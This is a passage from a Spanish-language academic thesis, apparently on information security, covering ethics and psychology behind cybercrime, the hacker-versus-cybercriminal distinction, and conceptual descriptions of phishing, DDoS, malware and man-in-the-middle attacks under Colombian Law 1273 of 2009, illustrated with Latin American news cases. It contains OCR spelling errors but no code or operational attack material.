actuar de manera comprometida con la sociedad.

Asimismo, la ética en el comportamiento profesional requiere implementar codigos
de deontologia que permitan establecer deberes y normas, las cuales buscan
regular las conductas que se desarrollan en el marco de las ocupaciones, estas
acciones deben estar ajustas y basadas en principios y valores que permita
fomentar comportamientos morales correctos.

El no acatamiento de cédigos de ética traeria consecuencias perjudiciales en el
ambito laboral y personal, la incidencia de la ética en la sociedad contemporanea
deberia ser un tema ineludible, al tratarse de un reto de preservar el orden
mundial, con el objetivo de conservar la ética y valores. La filosofa espafiola Adela
Cortina Orts!® en la conferencia “Para qué Sirve Realmente la Etica”, dentro del
ciclo organizado en el aino 2014 por el Forum Larramendi “Debatiendo en las
Fronteras de la Etica”, un tema transcendental en la actualidad. Su exposicién se
centré en planteamientos de validez de razonamiento respecto a la necesidad de
la ética en el actuar diario. En dicho discurso reconocio a los seres humanos como
ineludiblemente seres morales, debido a que forja un caracter y, por ello el ser
humano es responsable de sus acciones.

Es decir, el ser humano tiene una estructura moral, que esta altamente
influenciada de acuerdo con el contexto que se encuentre (Lugar de nacimiento,
tradicion, cultura, religion, filosofia, etc.), aunque la filésofa hace hincapié en que
cada estructura moral tiene diferentes contenidos, definida de acuerdo con como
se haya forjado el caracter, en razon de ello, el hombre es un ser libre, libre de
decidir. Se trata sin lugar a duda de un tema sensible y muy comentado en la
actualidad, se atraviesa por injustos tiempos por falta de la ética.

A pesar de los esfuerzos ingentes por procurar fomentar una cultura moral en las
actuaciones individuales o institucionales, en la ponencia se invita a obrar el bien,

10 CORTINA, Adela & MARTINEZ, Emilio, Etica: EI Ambito de la filosofia Practica. Cuarta edicion. Madrid: Ediciones Akal,
2008. 21p
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gue exista una relacién y coherencia entre las declaraciones y actuaciones, el
compromiso y obligacibn moral para con las descendencias, ya que ellos
aprenden e imitan las conductas de sus antecesores. Un ejemplo a seguir para los
nifios, nifas, adolescentes y jOovenes es una peculiar capacidad del
comportamiento humano, nace con un rasgo de personalidad especifico, pero esta
no determina su modo de actuar.

Igualmente, Adela manifiesta que quizas lo mas propio del ser humano, sea el ser
ético, dicha condicién a la que jamas se podria escapar; ni una sociedad lograria
funcionar si sus individuos que la componen no conservan una actitud ética, se
deberia ser consciente de labrar un caracter adecuado a las exigencias de la
sociedad, de no ser asi, se estaria condenado a continuar en la crisis. Entonces,
se debe priorizar las acciones, reflexionando sobre lo que constituye como seres
morales, encauzando adecuadamente a la vida ética a partir de la proyeccion del
caracter.

En ese orden de ideas, realizar acciones altruistas, sin excluir alguno grupo o
sector determinado de acuerdo con su condicion, actuando como es debido a
través de un caracter integro, eludiendo al ser humano reciproco, es asi como se
debe recuperar los valores morales de justicia e igualdad. La importancia de la
ética tiene como fin hacer un llamado a la relevancia social, la ayuda mutua
garantiza el progreso sin importar fronteras de tiempo, lugar, raza, religion,
especie, etc.

4.2.3 Condicion psicolégica. Psicolégicamente hablando cada ser humano es un
sujeto que posee una estructura de desarrollo y crecimiento personal a partir de
sus capacidades, esto con el fin Unico de alcanzar su plenitud. Es alli donde la
condicion humana de alcanzar la felicidad a partir de la autorrealizacion se ve
influenciada por mudltiples factores, entre ellos la actitud, las emociones, las
vivencias, etc.

El Psicélogo Carl Rogers cuando planteé su teérica sobre el Sentido de la Vida!,
considerada como aquella motivacién innata que se encuentra presente en todo
ser humano, la cual le permite al hombre desarrollar sus potenciales, logrando una
autorrealizacion y detras de ella viene sujeta la felicidad, esa que se experimenta
cuando hay satisfaccion.

Se trata de una situacion propia de cada individuo, con caracteristicas ajustadas
para cada uno, es decir, un rasgo que convierte en unicos, diferentes e irrepetibles
los unos con los otros. De manera que cuando se habla de las actitudes humanas,
la mirada ante la vida puede ser tanto cuantitativa, lo que significa que cobra valor
la cantidad, el tener y lograr, el querer ser mejor cada dia, sobresalir ante el grupo,

1 ROGERS, Carl. El camino del ser. Barcelona: Editorial Kairds, 2007. 56p
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ser competente ante la sociedad, rigiéndose por el interés de alcanzar una meta,
esto lo lleva a tener una mirada de sus pares como competencia, queriendo ganar
con el fin de tener éxito. Por otro lado, la mirada cualitativa, donde se prioriza el
ser, el aprender, asi como el dar y recibir, buscan compartir con las personas que
lo rodean, ya que estas son comparfieros de vida, quienes han estado a lo largo
del tiempo y camino recorrido, esta mirada se basa en los valores y la importancia
de la persona.

Es necesario aclarar que el querer alcanzar una meta, tener un objetivo claro, no
son actitudes inadecuadas, ya que todo ser humano tiene una mision en la vida
asi como aspiraciones, suefios, anhelos, son estas caracteristicas lo que le da el
sentido al ideal de vida, se vuelve inadecuado en el momento en que el ser
humano se convierte en un ser individualista, obrando segun su propia voluntad,
pasando por encima de las demas personas que pertenecen a su mismo grupo,
sin importarle las normas que sistematizan las relaciones interpersonales.

Por tanto, existen dos tipos de personas, las optimistas, quienes tienen una mirada
al éxito y se mueven en funcidon de alcanzar el ideal de vida, esto significa para
ellos el valor méas alto que posee, con aspiraciones personales profundas y como
consecuencia esta perspectiva les trae beneficios. Por otro lado, se evidencia a las
personas pesimistas, aquellas con mirada hacia el fracaso, que buscan en todo
momento culpables, a quien responsabilizar de los fracasos o desniveles de la
vida.

Si bien, la condicion humana se ve afectada e influenciada por mdltiples factores,
es asi como el aspecto social, cultural, familiar, emocional y educativo puede
llegar a fortalecer o torpedear las actitudes y maneras que el ser humano tiene
para desarrollar y promoverse en su arquitectonica del ser. Es decir, cada persona
es autonoma, haciéndola diferente la capacidad de reconocerse, identificarse y
distinguirse, a lo que se le llama autoconocimiento, saber qué es lo que quiere,
como se planta en la vida y como va a utilizar aquellos recursos que le son
entregados, con fin dltimo de alcanzar una meta.

4.2.4 Factores que conllevan a cometer delitos informaticos. Los factores que
conllevan a una persona a cometer estos delitos desde los diferentes enfoques
planteados implican distinguir su naturaleza en correlacién a su posible incidencia,
hoy en dia los delitos cibernéticos son mas comunes de lo que parece, no requiere
tener amplios conocimientos en seguridad informatica, la facilidad de acceso a la
informacion ha permito a diferentes actores de distintas edades, en especial
jovenes motivados por diversas causas a sumergirse en la clandestinidad. La
nueva era digital ha permito generar acciones en beneficio y calidad de vida de las
personas, pero igualmente ha facilitado que se fomenten acciones criminales que
siempre estan al asecho.

El factor de anonimato es un punto clave para que los cibercriminales cometan
actos punibles, se trata de un agente generador de confianza que siempre estara
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a favor del delincuente por permanecer supuestamente inadvertido. Para un sujeto
(Victima) ordinario que carezca de discernimiento, desconocera que pasa en su
entorno. Otra causa importante corresponde a la jurisdiccion legal en cuanto a la
comision de los delitos informaticos en determinados paises, esta clase de delitos
puede ser realizados desde los confines del mundo, en razén a lo anterior, la
legislacion de los gobiernos afectados se disipa por el acatamiento de leyes de
donde se origind el ataque, se trata de una conjetura que se observa en paises
con quebrantos de relacion diplomaética.

Grupos delincuenciales han puesto sus miradas en las Tecnologias de la
Informacién y Comunicacién para ampliar su radio de accion criminal, fomentando
la trata de personas, contrabando, venta de armas, sicarios a sueldo, pornografia
infantil, comercializaciébn de 6rganos humanos, comercializacion de narcotréfico,
etc. Esta serie de acciones han conducido a la contratacion de cibercriminales
para evitar ser sorprendidos por las autoridades.

En muchas oportunidades las circunstancias que conlleva a cometer delitos
informaticos se relacionan con la venganza y/o rencor, acciones que conlleva a
perjudicar a compafias y/o personas al exponer datos confidenciales con
consecuencias trascendentales. Muy diferente sucede con aquellas acciones
encaminadas a retos intelectuales que requieren de habilidades y destrezas, no
tienen el propdsito de lastimar 0 menoscabar a un objetivo, sino sus acciones se
encaminan a la hazafia emocional del desafio, muchas de estas personas se
sienten atraidos por la aventura de explotar nuevos sistemas informaticos. La
admiracion por sus hazafias es un punto muy presente en este factor, pues
existen eventualidades donde se registra una firma especifica como parte de su
incursién en el sistema ajeno.

Otra causa distinguida que conlleva a cometer delitos informaticos son razones
econdmicas, aunque sin lugar a duda se desligan de la ética y moral previamente
expuesta, comprenden que su actuar puede ser remunerado aun percibiendo sus
riesgos y alcance, se trata de buscar mejorar sus condiciones y calidad de vida. La
falta de conocimiento es un punto generador para que muchas personas
comentan delitos informaticos, la autoridad actia conforme a la solicitud de
denuncia o como parte de un proceso de investigacion judicial y/o de inteligencia,
son acciones de oportunidad que en gran porcentaje no esta en el radio de accién
de las autoridades.

No se puede omitir el facto por la carencia de recursos econdmicos o por el no
acatamiento de derechos de propiedad intelectual, se discierne que mucho
software es empleado sin la debida autorizacion a través de técnicas de Cracking.
Finalmente, como se habia mencionado la falta de la felicidad, juicios morales,
estabilidad emocional son factores ligados a las comisiones de delitos informatico.
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4.2.5 Cibercriminal vs hacker. En el mundo de la computacion se ha establecido
el término Hacker a aquella persona con habilidades, destrezas, talento y
conocimientos en informatica, su interés por aprender no tiene limites, autodidacta
y cautivado por la investigacion en temas relacionados con la informatica y
tecnologia, se adjudica a aquella persona entusiasta y experto en informéatica,
aunque hay una connotacion errénea y mal interpretada, suele confundirse con
acciones ilicitas, es que la ética se encuentra vinculada intrinsecamente con el
termino hacker, basada en principios y valores que permita fomentar
comportamientos morales correctos.

La Real Academia Espafiola RAE*? como maximo rector de las normas del idioma
espafol, adjudicé (02) dos significados, el primero como pirata informatico y el
segundo como aquella persona experta en el manejo de computadoras, que se
ocupa de la seguridad de los sistemas y de desarrollar técnicas de mejora. Al
realizar un somero andlisis se tilda como aquella persona que comete actos ilicitos
con medios informéticos. Esta circunstancia no estaria nada mal cuando se refiere
al cibercriminal.

Como se habia manifestado, la ética ha incursionado en los denominados hackers
éticos, los cuales estan en igualdad de competencias, habilidades y conocimientos
que su contraparte (Hacker no éticos), su actuar se enfoca en lo ético, ajustado en
principios y valores. Es decir, la ética y moral estan presentes en este término que
ha sido estigmatizado y juzgado. Lo mismo sucede con el termino Cracker, aludido
como aquella persona cibercriminal, desconociendo la filosofia de la ingenieria
inversa.

El reconocido lider latinoamericano Ricardo Narvaja ha defendido la filosofia del
término Cracker, en muchas ocasiones es aludido como aquella persona
cibercriminal, desconociendo el verdadero interés de la ingenieria inversa. Esta
area implica la reversion de un software que fue codificado en algun lenguaje de
programacion y esta codificado en el lenguaje de bajo nivel, identificado como
lenguaje maquina. Es decir, el cédigo es interpretado directamente a través de dos
simbolos (0 y 1), la reversion es llevarlo a un lenguaje de facil comprensién para el
ser humano como lo es el lenguaje ensamblador, cuya finalidad es realizar algun
estudio de ingenieria de software sobre el mismo.

Como hecho significativo durante los afios ochenta se esbozé un periodo criminal
a través del teclado, las acciones de Kevin Mitnick!® (El Condor) fueron tan
mediaticas que mancillaron el termino Hacker y dieron apologia a la
cibercriminalidad. Aunque sectores reconocidos a nivel mundial emprendieron una
cruzada por defender el término y evitar la interpretacion como pirata informatico,
su postura radico en que la cultura hacker no esta vinculada con la criminalidad. El

12 RAE "Hacker”. {En linea}. {18 noviembre 2010} disponible en: (http:/lema.rae.es/dpd/srv/search?key=hacker).
13 MITNICK, Kevin y SIMON, William. El arte de la intrusion. Mexico: AlfaOmega, 2007. 56p.
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cibercriminal puede emprender acciones que pueden ser trascendentales,
empleando sus conocimientos con fines maliciosos, como por ejemplo robo de
informacion, acceso no autorizado, violaciébn de datos personales, abuso de
dispositivos que faciliten la comision de delitos, interceptacion de datos
informaticos, etc.

Si se relaciona al delito informético se vincularia a una accion ilicita sobre los
sistemas informaticos que comprometen la integridad, disponibilidad vy
confidencialidad de la informacion. Los delitos informaticos son conexos a bienes
juridicos los cuales estan vinculados con las tecnologias de la informacion, pueden
derivarse en areas reconocidas como lo es el Hacking, Cracking, Phreaking y
Carding.

Cuando se trata de identificar perfiles criminoldgicos lo que se pretende es realizar
una valorizacion minuciosa sobre aquellas caracteristicas que vinculan alguna
semejanza con sujetos individualizados que efectuaron y efectian acciones
delictivas, es sin lugar a duda una herramienta fundamental para los analistas de
investigacion criminal, dicha identificacibon se apoya de distintas areas del
conocimiento como amparo para efectuar acertadas hipotesis de los diferentes
tipos de criminales. Estas acciones apoyadas por algunas disciplinas coadyuvan a
la perfilacion del delincuente, arrojando informaciéon importante que permite
describir aquellas conductas y hechos delictivos. En correlacion a lo anterior, lo
que se pretende es encajar aquellos patrones y variables de conducta
relacionados con actos criminales.

La psicologia arroja rasgos para la identificacion de individuos, en la que permite
reconocer las particularidades de cada individuo, dichos atributos pueden ser
anicos, diferentes e irrepetibles los unos con los otros. Si bien, la condicidn
humana se ve afectada e influenciada por mdultiples factores, es asi como el
aspecto social, cultural, familiar, emocional y educativo, pueden llegar a fortalecer
o torpedear las actitudes y maneras que el ser humano tiene para desarrollar y
promover en su estructura arquitecténica del ser. Es decir, cada persona es
autbnoma, haciéndola diferente la capacidad de reconocerse, identificarse y
distinguirse.

El perfil criminolégico de los delincuentes informaticos suele delimitarse a sujetos
poco sociables o eventualmente asocial, sin una matriz predefinida de conducta
religiosa, racial y/o politica, con trazos de enfoque &crata, no se sujeta a moldes
ordinarios y/u ortodoxos, avidos por hazafias de enfoque de la seguridad
informatica, autodidacta y perseverante por naturaleza, suelen distinguirse por
poseer un alto coeficiente intelectual, con amplias habilidades, destrezas, talento y
conocimientos en informatica, su interés por aprender no tiene limites, cautivado
por la investigacion en temas relacionados con la informatica y tecnologia, se
adjudica a aquella persona entusiasta y experto en informética. Carece del sentido
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filoséfico de la ética, no lo rigiie un codigo de deontologia que permita establecer y
respetar deberes y normas.

En Colombia existen varios sucesos relacionados con delitos informaticos, el mas
reconocido se efectlio en el afio 2014 por Andrés Sepulveda®®, al cual se le
atribuyo los delitos de acceso abusivo informatico, violacion de datos personales,
espionaje y uso de software malicioso, en ocasion a la interceptacion ilegal de las
conversaciones de la negociacion del proceso de la paz en Cuba (Gobierno
Colombia y la FARC).

4.2.6 Antecedentes de Ataques Informéticos. informéticos ocurridos en Colombia
y en diferentes paises latinoamericanos bajo la referencia de la jurisprudencia
colombiana, asi:

4.2.6.1 Acceso abusivo a un sistema informatico. Teniendo en cuenta la Ley
Colombiana 1273 del 2009 “Por medio del cual se modifica el Codigo Penal,
denominado “De la Proteccién de la informacion y de los datos” en su articulo
269A “Acceso abusivo a un sistema informatico”, se trata sin lugar a dudas de una
de las principales amenazas de enfoque de seguridad informatica, la cual es
efectuada por personas no autorizadas cuya finalidad es poner en riesgo la
confidencialidad, integridad y disponibilidad de la informacién en los sistemas
informaticos. El acceso abusivo a un sistema informatico puede ser logrado a
través de diferentes técnicas, herramientas, metodologias, entre otras.

Por otra parte, se estima que el proceso de acceso no autorizado a un sistema
informatico es arduo si se dispone de la correcta configuracion y administracion, la
gran mayoria de los grandes ataques informéticos de la actualidad aprovechan
fallas de disefio o bugs en los diferentes software. En el afio 2017 la universidad
del Tolima (Colombia) report6 a la comunidad en general que sus sistemas
informaticos fueron vulnerados por cibercriminales, lograron modificar las
calificaciones de 18.000 estudiantes de la modalidad presencial y virtual. La
coordinadora de la oficina de Gestion Tecnoldgica de dicho claustro educativo
informé que se instaurd ante la Fiscalia General de la Nacion la denuncia por
acceso abusivo al sistema informético. Lo anterior, de acuerdo con lo publicado
por el medio de comunicacion de Colombia El Tiempo.1®

Por su parte, en el afio 2017 la pagina web del Ejército Argentino (EA) sufrié un
atague informatico al parecer atribuido a simpatizantes del Estado Islamico, la
finalidad de la incursion cibercriminal fue la modificacion no autorizada en el
servidor web de la institucién argentina, realizando manipulacién de los datos del

14 El Tiempo. "Hacker preso por 'sabotear proceso de paz' busca acuerdo con Fiscalia”. {En linea}. {06 mayo 2014}
disponible en: (https://www.eltiempo.com/archivo/documento/CMS-13946455).

15 El Tiempo. “Hacker mejord notas de los estudiantes de la Universidad del Tolima”. {En linea}. {01 febrero de 2018}
disponible en:  (https://www.eltiempo.com/colombia/otras-ciudades/hacker-mejoro-las-notas-de-todos-estudiantes-de-la-
universidad-del-tolima-177850).
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sitio web (Defacement). Lo anterior, de acuerdo a lo publicado por el canal de
noticias de Argentina Todo Noticias'®.

4.2.6.2 Suplantacion de sitios web para capturar datos personales. Teniendo
en cuenta la Ley Colombiana 1273 del 2009 “Por medio del cual se modifica el
Cddigo Penal, denominado “De la Proteccion de la informacion y de los datos” en
su articulo 269D “Suplantacién de Sitios Web Para Capturar Datos Personales”.
La ingenieria social es una técnica sofisticada cuyo objetivo es manipular a las
personas para que efectien acciones catalogadas como inseguras a causa de la
ingenuidad y desconocimiento, el método se basa en el poder de convencimiento
sobre el eslalon mas débil en la seguridad informéatica, valiéndose de la confianza
a través de acciones psicologicas predeterminadas para sacar ventaja alguna,
como por ejemplo, obtener credenciales, instalar archivos maliciosos, ejecutar
malware, descargar archivos, conseguir informacion confidencial, etc.

Compréndase el escenario en el que puede estar involucrado la ingenieria social,
la victima aprueba ejecutar determinado elemento en una aplicacion web o sitio
web, el cual lo redirecciona a determinada pagina web que aparentemente es
legitima, mediante la técnica de Phishing permite realizar suplantacién de
identificad de una pagina web con el fin de iniciar actividades ilicitas, desde el
enfoque delictivo estas acciones pueden ser trascendentales, como por ejemplo
robo de informacién, acceso no autorizado, violacibn de datos personales,
descarga de software malicioso (Malware), etc.

El coronel retirado de la Policia Nacional de Colombia Freddy Bautista, quien
fungia como jefe del Grupo de Delitos Informaticos de dicha institucion, ha
explicado que la practica de suplantacion de identidad corresponde a un delito
informatico que ha aumentado en el pais, principalmente se presenta en el envio
de correos electrénicos falsos para direccionar a paginas que emplean la técnica
de Phishing.

Por su parte, la compafiia especializada en seguridad informatica ESET hizo
publico en afio 2017 una nueva modalidad de Phishing, la cual estaba efectuando
delitos informéticos a través del envio de correos electronicos desde la cuenta
informacion@bancolombia.com.co con el fin de capturar informacién confidencial
de los usuarios de la entidad bancaria Bancolombia como se evidencia en la figura
1.

16 Todo Noticias, TN. “Hackearon la pagina web del Ejército Argentino: Somos el Estado Islamico”. {En linea}. {19 junio de
2017} disponible en: (https://tn.com.ar/politica/hackearon-la-pagina-web-del-ejercito-argentino-somos-el-estado-
islamico_801073).
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Figura 1. Pagina de Bancolombia suplantada (Phishing)
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Fuente: Dinero. “Bancolombia dice que tiene con qué defender a sus
usuarios de la suplantacion”. {En linea}. {22 agosto de 2019} disponible
en: (https://www.dinero.com/empresas/articulo/bancolombia-responde-
a-la-nueva-campana-de-phishing/242895).

En dicho correo electrénicol’ se suministraba un enlace que lo remitia a un sitio
web que contenida suplantacion de identidad, la pégina falsa recopilaba
credenciales e informacion confidencial.

Igualmente, en Argentina en el mes de noviembre del afio 2016 se contemplo las
acciones ilicitas cometidas por Nicolas Traut, se atribuy6 el acceso no autorizado
a las cuentas bancarias y sustraer una considerable suma de dinero, en dicha
accion delictiva empled la técnica de Phishing del sitio web del Banco Provincia,
asimismo fue enlazado el sitio falso para capturar datos personales en el buscador
de Google. Lo anterior, de acuerdo con lo publicado por el medio de comunicacion
de Argentina el Clarin®®,

17 PLAZAS GARCIA, Edna. Ingenieria Social en las Empresas Colombianas. Pitalito, 2018, 32p. Trabajo de investigacion
(Especialista en Seguridad Informatica) Universidad Nacional Abierta y a Distancia. Escuela de Ciencias Basicas
Tecnologia e Ingenieria.

18 Clarin. “Argentina, entre los paises que mas phishing reciben en el mundo”. {En linea}. {07 noviembre de 2017} disponible
en: (https://www.clarin.com/sociedad/argentina-paises-phishing-reciben-mundo_0_SkrEtz1kM.html).
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4.2.6.3 Obstaculizacién ilegitima de sistema informatico. Teniendo en cuenta
la Ley Colombiana 1273 del 2009 “Por medio del cual se modifica el Cédigo Penal,
denominado “De la Proteccion de la informacion y de los datos” en su articulo
269D “Obstaculizacion llegitima de Sistema Informatico o Red de
Telecomunicacién”. El ataque informatico de denegacion de servicios distribuido
DDOS es llevado a cabo a través mdltiples origenes que generalmente actdan
como botnet o zombi, la finalidad es inundar el trafico de red de los servidores
para impedir la continuidad de los servicios, dicha amenaza informatica pretende
afectar uno de los pilares de la seguridad informatica como lo es la disponibilidad
del servicio.

El ataque DDOS niega el acceso a los servicios a aquellos usuarios autorizados
por ocasion de la inundacion de peticiones, se efectia empleando varias fuentes
gue generan un ataque progresivo, por lo general se acude al exceso de consumo
de memoria, sobrecarga a la CPU, bloqueo repentino del servicio, etc.

Uno de los incidentes mediaticos se presentd contra los sistemas informaticos de
la Registraduria Nacional del Estado Civil Colombiano, se produjo en las
elecciones del congreso en el mes de marzo del afio 2010, se anunciaba a los
medios de comunicacion de ataques informaticos que lograron tumbar la pagina
web de dicha entidad. Por su parte, el gerente de la empresa Arolen responsable
del monitoreo de redes de datos del servicio web de la Registraduria para esa
época, reportd que se tratd6 de un ataque de denegacion de servicios (DOS),
aungque posteriormente se ha concluido que sea traté de una accion negligente por
parte de dicha empresa especializada en seguridad informética ya que el ataque
se produjo al parecer desde una misma direccion IP. Dicha informacion fue
anunciada en el portal de la reconocida empresa enfocada a la seguridad
informatica y andlisis forense DragonJAR?®.

En el afio 2011 un grupo Hacktivista realiz6 un ataque informatico el cual fue
bautizado como “Operacion Tequila”, tuvo como objetivo el portal de MVS Noticias
de México, la accion ilicita logré6 dejar inoperante a través de un ataque de
denegacion de servicio distribuido el sitio web del medio de comunicacion
mexicano, lo que motivo al colectivo Hacktivista fue el despido de la periodista
Maria del Carmen Aristegui Flores. Lo anterior, de acuerdo a lo publicado por la
Corporacioén Britanica de Radiodifusion — BBC?,

19 DragonJAR. “Registraduria Nacional de Colombia ¢DoS o Negligencia?”. {En linea}. {09 junio de 2010} disponible en:
(https://Iwww.dragonjar.org/registraduria-nacional-colombia-dos-negligencia.xhtml).

20 BBC. “Los hacktivistas llegan a México por el caso Aristegui”. {En linea}. {10 febrero de 2011} disponible en:
(https://lwww.bbc.com/mundo/noticias/2011/02/110210_1137_tecnologia_hactivistas_ataque_mvs_anonymous_operacion_t
equila_dc).
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4.2.6.4 Uso de software malicioso. Teniendo en cuenta la Ley Colombiana
1273 del 2009 “Por medio del cual se modifica el Cédigo Penal, denominado “De
la Proteccién de la informacion y de los datos” en su articulo 269E “Uso de
software malicioso”. Es necesario comprender el concepto de Malware, el cual
corresponde a la abreviatura de software malicioso, dicho termino engloba los
diferentes programas informéaticos maliciosos, cada software obedece las
funciones por el cual fue disefiado, principalmente su funcion es causar un mal
funcionamiento en el sistema, extraer informacion, robar credenciales, borrar
informacion, etc. Dentro de este grupo se encuentra términos como: Virus,
troyanos, gusanos, bombas ldégicas, keyloggers, spyware, ransomwares, entre
otros.

Por su parte, los virus informaticos son software que generalmente estan
destinados a causar algun tipo de dafio, considerado por algunos sectores como
una de las principales amenazas informaticas que ha causado grandes pérdidas
economicas, como por ejemplo eliminar o alterar informacién, comprometer a otros
software, ralentizar el sistema, consumir la memoria, robo de informacion
confidencial, saturacién de la red, como al igual comprometer dafios al hardware,
etc. Su caracteristica mas relevante es que puede replicarse, reproducirse por si
mismo, migrar a otros elementos de almacenamiento, como al igual disponer de
técnicas para evitar ser detectado por los antivirus, aunque los antivirus no son
totalmente efectivos y todos los dias se presumen que aparecen nuevos Virus.

El gusano informatico también se considera como un programa informatico con
actividades maliciosas, parecido a los virus informaticos, el principal objetivo de los
gusanos es propagarse y afectar el mayor numero de ordenadores, su
caracteristica es realizar dichas acciones de forma muy rapida, colapsando los
ordenadores y las redes informaticas, este malware puede distribuirse por
diferentes medios como por ejemplo correo electronico, programas P2P (Peer to
peer), mensajeria instantanea, recurso web, FTP, etc.

Las bombas légicas pueden ocasionar diferentes acciones que comprometen la
seguridad del sistema, como por ejemplo borrar registros, alterar el sistema,
consumo excesivo de los recursos, ser parte de una botnet para ataques DDOS,
inhabilitar el sistema operativo, entre otras. Generalmente emplean técnicas para
incursionarse en otros codigos y su principal funcion es esperar un tiempo
determinado para lanzar el atague en la parte I6gica del ordenador. Este malware
se diferencia de los demas debido a que su singularidad para permanecer
suspendido o inactivo, en muchas ocasiones los sistemas de seguridad no la
perciben hasta cuando ejecuta su accion maliciosa en el periodo de tiempo por el
cual fue desarrollado.

El troyano informatico es un programa informético cuya funcion principal no es
similar a la de un virus informatico, aunque dispone de las mismas técnicas para
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evitar ser detectado, migrar a otros procesos, entre otros, su finalidad es crear una
puerta trasera que garantice el acceso no autorizado a un sistema informatico,
claro esta que esta accion garantiza el control del equipo de manera remota. La
estructura logica del troyano esta compuesta por dos elementos, el cliente quien
envia las ordenes y el servidor quien recibe las mismas, de esta manera es
posible comprometer la seguridad del sistema con infinidad de acciones delictivas,
los dafios que se puedan causar estan en la creatividad e imaginacion del
delincuente informatico.

El estudiante destacado Alejandro Robayo cursaba decimo semestre de ingenieria
en la universidad de los Andes de Colombia, logr6 de manera ilegal a través de
empleo de software malicioso la manipulacion de la plataforma de registro
académico de dicho claustro educativo, al comienzo su finalidad se traté de
realizar modificaciones de sus propias notas con el objetivo de mantener una
beca, posteriormente ofrecid sus servicios a terceros, dicha accion conllevo a que
el grupo especializado de la Policia Nacional de Colombia lograra su captura por
los delitos de acceso abusivo a sistema informético, violacién de datos personales
y uso de software malicioso. Lo anterior, de acuerdo a lo publicado por El
Tiempo?*.

Por su parte, en el afio 2018 la Oficina Federal de Investigacion de Estados
Unidos y autoridades federales de Meéxico detectaron a tiempo el software
malicioso de origen norcoreano de categoria virus llamado Fallchill, este codigo
malicioso esta programado para obtener informacion y tomar el control de los
sistemas informaticos vulnerados, dicha accion se presencié en los equipos de
computo de una compafiia de telecomunicaciones ubicada en ciudad de México.
Lo anterior, de acuerdo a lo publicado por el canal de noticias Univisién??.

4.2.6.5 Interceptacion de datos informéticos. Teniendo en cuenta la Ley
Colombiana 1273 del 2009 “Por medio del cual se modifica el Codigo Penal,
denominado “De la Proteccion de la informacion y de los datos” en su articulo
269C “Interceptacion de datos informaticos”. El ataque Man in the Middle - MITM
tiene la finalidad de interceptar las comunicaciones que se efectien en una red,
para implementar dicha ofensiva acude al protocolo de resoluciones de
direcciones el cual es el encargado de identificar la direccion MAC de una tarjeta
de interfaz de red perteneciente a una direccién IP.

MITM actia de manera incOgnita para capturar el trafico de red entre de dos
equipos a traves de la técnica ARP Poisoning, la cual modifica la cache ARP y a
su vez hace pretender que la direccibn MAC de la puerta de enlace es la direcciéon

21 OBANDO JARAMILLO, Valentina. "Universidades, victimas de “hackers - El Espectador”. {En linea}. {15 mayo 2015}
disponible en: (https://www.elespectador.com/noticias/judicial/universidades-victimas-de-hackers-articulo-560884)./.

22 Univision. "Fallchill, un misterioso virus norcoreano detectado en México por la PGR y el FBI”. {En linea}. {11 enero 2018}
disponible  en:  (https://www.univision.com/noticias/america-latina/fallchill-un-misterioso-virus-norcoreano-detectado-en-
mexico-por-la-pgr-y-el-fbi).
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MAC del equipo que efectla el ataque, de esta manera es posible introducirse en
medio entre la victima y puerta de enlace (Real), para poder lanzar dicho ataque
se debe tener acceso a la red interna, MITM permite tener control sobre la victima
obteniendo las credenciales de las sesiones, cookies, observar comunicaciones
(Chat), imagenes, archivos, paginas web y demas comportamientos de la red, a su
vez es posible emplear técnicas de spoofing para engafar a la victima como lo es
DNS, Proxy, DHCP o IRDP spoofing, realizar negaciones de servicios a la victima,
etc.

Un reconocido caso mediatico en Colombia en el contexto de delitos informaticos
alusivo a la interceptacion de datos informaticos se presentd con la captura del
cibercriminal Andrés Fernando Sepulveda Ardila, de acuerdo con el entonces
Fiscal General Eduardo Montealegre se tratd de una serie de acciones
encaminadas a sabotear el proceso de paz entre el gobierno colombiano en
cabeza del expresidente Juan Manuel Santos y las FARC. Los delitos por los que
fue sentenciado Sepulveda corresponden a la violacion ilicita de comunicaciones,
uso de software malicioso e interceptacion de datos informéticos, finalmente tuvo
una sentencia de 10 afios de carcel.

La Fiscalia General de la Nacién en su proceso legal realiz6 la incautacion de
evidencia fisicas (Computadores, dispositivo de almacenamiento, documentos
confidenciales, informacion relacionada con las FARC, etc.). Las interceptaciones
efectuadas tuvieron como objetivo los correos electronicos del jefe de prensa de
las FARC en Cuba, periodista de nacionalidad cubana. Igualmente se comprobo
que tenia relacion con el entonces candidato a la Presidencia de la Republica de
Colombia Oscar Ivan Zuluaga por el partido politico Centro Democratico en el afio
2014. Lo anterior, de acuerdo con lo publicado por el medio de comunicacion de
Colombia El Tiempo?3.

En el afio 2017 la Policia de Carabineros de Chile se vio inmersa en un escandalo
mediético, en el cual se traté de un espionaje electrénico por parte del grupo de la
Unidad de Inteligencia de Carabineros de la Araucania contra periodistas de Radio
Biobio, El Ciudadano, The Clinic, La Segunda como al igual a sus respectivas
fuentes humanas, las acciones ilicitas conllevaron a la interceptacion de datos
informéticos que comprometio al entonces director de Carabineros General Bruno
Villalobos y la presidenta Verdnica Michelle Bachelet. Lo anterior, de acuerdo a lo
publicado por la fundacién Centro de Investigacion Periodistica (CIPER)?.

2 El Tiempo. "Hacker preso por 'sabotear proceso de paz' busca acuerdo con Fiscalia”. {En linea}. {06 mayo 2014}
disponible en: (https://www.eltiempo.com/archivo/documento/CMS-13946455).

24 SEPULVEDA, Nicolas. "Los periodistas que fueron objeto de espionaje electrénico de Carabineros - Centro de
Investigacion Periodistica”. {En linea}. {07 marzo 2018} disponible en: (https://ciperchile.cl/2018/03/07/los-periodistas-que-
fueron-objeto-de-espionaje-electronico-de-carabineros/).
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4.3 MARCO CONTEXTUAL

En el repositorio institucional de la Universidad Nacional Abierta y a Distancia —
UNAD, se contemplan textos académicos y de investigacion relacionados con
pruebas de hacking ético en las organizaciones, el ingeniero Allen David Zuluaga
en su tesis para optar el titulo de especialista en seguridad informatica, empleo la
metodologia OSSTMM en la infraestructura tecnoldgica de la rama judicial en
Armenia — Quindio?®, evidencié la identificacién de vulnerabilidades informaticas
como al igual determinar el nivel de seguridad informéatica de la entidad.

Por su parte, el también aspirante al titulo de especialista en Seguridad
Informatica, Ingeniero Jorge Alonso Flérez Rojano determind en su proyecto de
grado la formulacion y aplicacion de metodologia de Hacking Etico para realizar
diagnédsticos a bases de datos para la empresa Positiva Comparfia de Seguros
S.A. en la ciudad de Bogota.?®

4.4 MARCO LEGAL

4.4.1 Ley 1273 de 2009%’. El Congreso de la Republica de Colombia anunci6 la
